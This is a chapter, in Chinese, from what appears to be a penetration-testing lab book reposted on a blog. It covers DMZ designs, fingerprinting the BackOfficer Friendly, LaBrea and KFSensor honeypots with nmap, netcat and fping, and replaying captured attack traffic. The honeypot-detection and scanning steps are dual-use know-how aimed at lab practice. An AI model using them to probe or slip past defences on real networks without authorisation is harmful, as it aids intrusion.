对前面的图表进行审查,我们可以看到我们的设计可以探索多种不同的架构。我们将讨论的第一个是公共 DMZ;当我们的内部网络和外部互联网之间有一个缓冲区时,就会创建这种情况。我们认为它是公共的,因为大部分时间都可以让任何想使用那里运行的服务的人访问。公共 DMZ 的位置位于周界或筛选路由器和通常运行我们防火墙软件的堡垒主机之间。对于我们的示例,这将连接到 VMnet2 子网。

此配置的示例如下图所示:

公共 DMZ

这种方法的问题在于公共 DMZ 只受筛选路由器保护,因此容易受到攻击;因此,解决这个问题的一个潜在解决方案是移动 DMZ。

私人 DMZ

作为解决公共 DMZ 保护问题的解决方案,我们可以使用私人 DMZ 或单独的子网 DMZ,有时也称为。拥有单独子网 DMZ 的概念是为公共 DMZ 提供额外的保护层。此外,这种配置还有一个额外的好处;如果在 DMZ 中通信被 compromise,那么被 compromise 的只是通过该 DMZ 传递的数据。在公共 DMZ 中情况并非如此,因为内部和外部网络之间的通信经过公共 DMZ,因此如果在该 DMZ 中有任何问题,那么数据也会受到影响。

此配置的示例如下图所示:

私人 DMZ

如前面的图表所示,我们现在有两层防御来保护放置在私人 DMZ 中的机器。话虽如此,这种方法也有一个缺点,那就是我们允许我们的公共服务通过防火墙进入。因此,带宽被所有来自互联网的流量共享。我们将在下一节中探讨这个问题的潜在解决方案。

诱饵 DMZ

正如我们之前提到的,对于私有或独立服务的子网配置,我们必须允许流量进入我们的第二层防御。现在我们将讨论诱饵 DMZ 的概念。通过这个概念,我们将公共 DMZ 保持原样,然后只在该段内放置监控设备,因为我们希望配置规则以警报我们接收到的任何不需要的流量。例如,如果我们看到任何 80 端口的目标流量,那么我们知道这是恶意的,因此我们会生成警报。

这种配置的另一个好处是,我们可以在防火墙内部为用户绑定端口,然后只在外部接口上绑定最少的端口。这种示例如下图所示:

诱饵 DMZ

前面图表中的架构的一个优势是,由于与公共 DMZ 中的服务之间的流量不与来自互联网的主要流量共享,因此网络的性能往往会提高。正如我们在整本书中都集中攻击一样,我们不会从防御的角度来讨论这些优势。然而,对于那些想要了解更多的人,可以查看我创建的高级安全培训中心部分中的高级网络防御课程。您可以在以下链接阅读更多:www.eccouncil.org/Training/advanced-security-training/courses/cast-614

集成诱饵和蜜罐

在网络上部署蜜罐和诱饵的流行度不断增长。因此,我们希望在我们的架构中部署这些,以便我们可以看到它们的反应以及我们在遇到它们时可以使用的指示。

我们可能会遇到许多不同的蜜罐,因此我们需要查看它们所表现出的特征。最好的想法是,将会有一些端口显示为打开;然而,当您连接到它们时,它们将不会如预期般响应。

我们将要看的第一个蜜罐是由Marcus Ranum多年前创建的,当时 Back Orifice 工具正在感染互联网上的机器。该工具现在已不再可用,但您可以在互联网上搜索,应该能够找到它。该工具称为BackOfficer Friendly,它的占用空间很小,但在蜜罐的角色中非常有效。该工具允许您选择一些端口,它将监听连接。这些选项的示例如下截图所示:

集成诱饵和蜜罐

正如前面的截图所示,我们已经将所有端口设置为蜜罐监听。我们没有选择Fake Replies选项;这是因为如果设置了此选项,横幅将暴露蜜罐。现在我们已经让蜜罐监听这一系列端口,我们将扫描它并看看在扫描时它是什么样子。

使用 Nmap 扫描机器后的结果示例如下截图所示:

集成诱饵和蜜罐

正如前面的截图所示,我们在机器上打开了这些端口,因此我们希望进一步探索。首选的方法是手动连接到端口并获取这些端口的横幅,因为如果我们扫描这些端口,它们将报告为tcpwrapped;因此,我们将手动查看这些端口。我们有许多方法可以用来连接到这个端口,在本书的示例中,我们将使用netcat。在终端窗口中,输入nc <target> 21以连接到 FTP 服务器;这个结果的示例如下截图所示:

集成诱饵和蜜罐

如前面的屏幕截图所示,netcat命令什么也没做,只是返回一个命令提示符,这意味着连接不成功;然而,当我们使用 telnet 时,连接建立然后立即关闭。这些都是您在测试中要寻找的类型,也就是说,寻找那些表现不正常的事物。当我们扫描机器时,我们看到有开放的端口;然而,当我们尝试连接到这些已识别的开放端口时,我们并不成功。这不应该发生,因此是可疑的。重要的是要记住,如果它即使有开放的端口也不表现正常,那么您很有可能遇到了一个蜜罐。那蜜罐本身呢?以下屏幕截图显示了一个示例:

集成诱饵和蜜罐

如前面的屏幕截图所示,该工具显示了连接尝试;即使用户没有获得连接,蜜罐仍然记录了它。

我们将看一下的下一个蜜罐是Labrea蜜罐。Labrea 提供了许多机制,可用于恶意软件与机器通信。Labrea 工具作为 Debian 软件包提供。由于我们在本书中多次使用了 Debian,因此我们现在将使用它来配置和设置 Labrea 蜜罐,以便在测试时识别它的外观。

在 Debian 机器的终端窗口中,输入apt-get install labrea来安装软件包。软件安装完成后,您可以查看配置文件。由于安装软件包后可能不在同一位置,您可以输入find / -name labrea.conf来定位文件,然后在您选择的编辑器中打开它。无需更改任何配置,因为一旦安装软件包,它就已经设置好并准备运行了。

注意

需要注意的是,Labrea 工具将占用网络上未使用的任何 IP 地址。因此,您可能希望将一系列 IP 地址配置为在配置文件中排除的 IP 地址。

当您准备在终端窗口中运行该工具时,输入labrea –v –i eth0 -sz -d -n <target> -o。我们不会复习这些选项,但鼓励您自行复习。我们已将输出设置为写入屏幕,因此我们将看到 Labrea 工具拦截的任何输出。以下屏幕截图显示了该命令的输出的一个示例:

集成诱饵和蜜罐

在前面的屏幕截图中需要注意的一点是,配置文件已设置为只响应1-3000端口。接下来,我们需要看一下蜜罐在网络上的响应。我们将使用 Kali Linux 机器;在 Kali 的终端窗口中,输入ping –c 7 <target>,其中目标是您的目标网络的任何 IP 地址。

例如,对于192.168.177网络的示例如下屏幕截图所示:

集成诱饵和蜜罐

如前面的屏幕截图所示,第一个 ping 请求返回为不可达。因此,那里没有主机。机器在第四个 ping 时做出响应;这是来自 Labrea 蜜罐的响应。我们可以通过查看我们启动程序的终端窗口来验证这一点。以下屏幕截图显示了一个示例:

集成诱饵和蜜罐

为了看到 Labrea 蜜罐的真正威力,我们将使用 Kali Linux 发行版中的一个工具来 ping 一系列 IP 地址。在 Kali Linux 终端中,输入fping –g <target IP block>。以下屏幕截图显示了该命令部分结果的一个示例:

集成诱饵和蜜罐

这表明 Labrea 蜜罐已经在192.168.177子网上创建了所有可能机器的诱饵存在;这些机器将看起来是活动的机器。这是为了引诱对这些 IP 地址的连接,因为它们可能是恶意的。

Labrea 蜜罐使用一种称为tarpitting的技术,这会导致连接花费很长时间。正如我们已经展示的,有许多诱饵机器,我们现在将扫描其中一个。在 Kali 机器上,输入nmap –sS <目标 IP 地址> -Pn

扫描其中一个诱饵机器的结果示例如下截图所示:

集成诱饵和蜜罐

我们想要注意的另一个反应是使用netcat连接到机器;我们现在将尝试这样做。在 Kali 机器上,输入nc <目标 IP 地址> 445。当我们手动连接时的结果示例如下截图所示:

集成诱饵和蜜罐

正如前面的截图所示,每个连接都被蜜罐检测到并放入了 tarpit,使其花费更多时间并将通信困住。要了解更多关于 Labrea 的信息,请参考sourceforge.net/projects/labrea/

我们将要查看的下一个蜜罐是商业产品KFSensor。您可以在www.keyfocus.net/kfsensor/了解更多信息。该网站将要求您在上面注册以下载该工具。下载后,您需要将其安装在 Windows 系统上。该工具的界面示例如下截图所示:

集成诱饵和蜜罐

正如前面的截图所示,我们有许多端口通过蜜罐是开放的,所以下一步是检查并查看一旦被扫描会返回什么。记住,我们希望进行测试,以便在遇到这个蜜罐的网络时知道可以期待什么。此外,我们希望确保记录可以帮助我们确定网络上是否部署了 KFSensor 的工件。

针对蜜罐的Nmap扫描的示例如下截图所示:

集成诱饵和蜜罐

正如前面的截图所示,我们有端口开放,但Nmap报告它们为tcpwrapped。这是我们进行Nmap扫描时的情况,那么在目标上是什么样子呢?此外,蜜罐显示的又是什么样子呢?这方面的示例如下截图所示:

集成诱饵和蜜罐

该工具的另一个好处是它还有许多 UDP 端口开放,因此提供了一个非常有效的蜜罐。UDP 端口的示例如下截图所示:

集成诱饵和蜜罐

这只是一些可用的许多不同蜜罐的样子,因此,您应该在测试范围内练习不同的蜜罐,并记录它们部署后的行为。

攻击网络范围

正如我们之前提到的,建立我们的渗透测试范围的目标是练习我们的技能。因此,我们需要以攻击我们创建的架构的每个位置和入口为目标。此外,非常重要的是我们练习直接攻击目标,也就是说,在一个扁平的网络上。一旦我们攻击并确定了来自不同类型攻击的目标的反应,我们改变方法,通过分层架构进行攻击,看看反应是什么,并比较不同位置的结果。

记录攻击数据以进行进一步的培训和分析

一旦您建立并攻击了范围,强烈建议您记录攻击,以便您可以用它们来练习,更重要的是用于培训目的。每次进行攻击时,您都在创建非常有价值的数据,应该捕获并再次使用。捕获数据的最简单方法之一是使用 Wireshark。一旦捕获了数据,请保存它,然后您可以使用工具重放捕获的流量。有多种方法可以实现这一点。其中最简单的方法之一是使用tcpreplay工具;它是 Kali Linux 发行版的一部分。此外,如果您不想创建自己的数据,还可以下载许多不同攻击的数据包跟踪。以下是用于重放来自早期 DEFCON 会议之一的文件的命令的示例截图:

记录攻击数据以供进一步训练和分析

对于那些想要使用 GUI 工具的人,有许多选择。一个非常好用的免费工具是 Colasoft 的 Colasoft Packet Player;您可以从www.colasoft.com下载。以下是使用该工具重放 DEFCON 数据包捕获的示例截图:

记录攻击数据以供进一步训练和分析

如前面的截图所示,您可以设置多种不同的播放速度,在Burst模式下,播放速度将尽可能快地处理网络卡的速度。

总结

在本章中,我们讨论了分层架构的创建以及在我们的测试中构建分段网络的必要性。在讨论创建分层架构之后,我们看了一下如何集成诱饵和蜜罐,包括 BackOfficer Friendly 工具,Labrea tarpit 和 KFSensor。

接下来,我们看了一下攻击我们架构的过程,并表达了在添加保护和层之前直接攻击目标的技术,以及在扁平网络上渗透它们的技术。

最后,我们结束了本章,并讨论了记录攻击数据以及使用 tcpreplay 命令行工具和 Colasoft Packet Player GUI 工具在我们的网络上重放我们创建或从互联网上下载的文件。

这结束了本章和本书。请记住,您所做的测试都是为了做好准备。当您建立您的渗透测试实验室时,您正在创建一个可以多年使用来练习技能的环境。一旦架构建立,只需向架构添加不同的设备,作为您练习的目标。祝您在攻陷网络和系统方面好运!

posted @ 2024-05-04 15:00  绝不原创的飞龙  阅读(23)  评论(0编辑  收藏  举报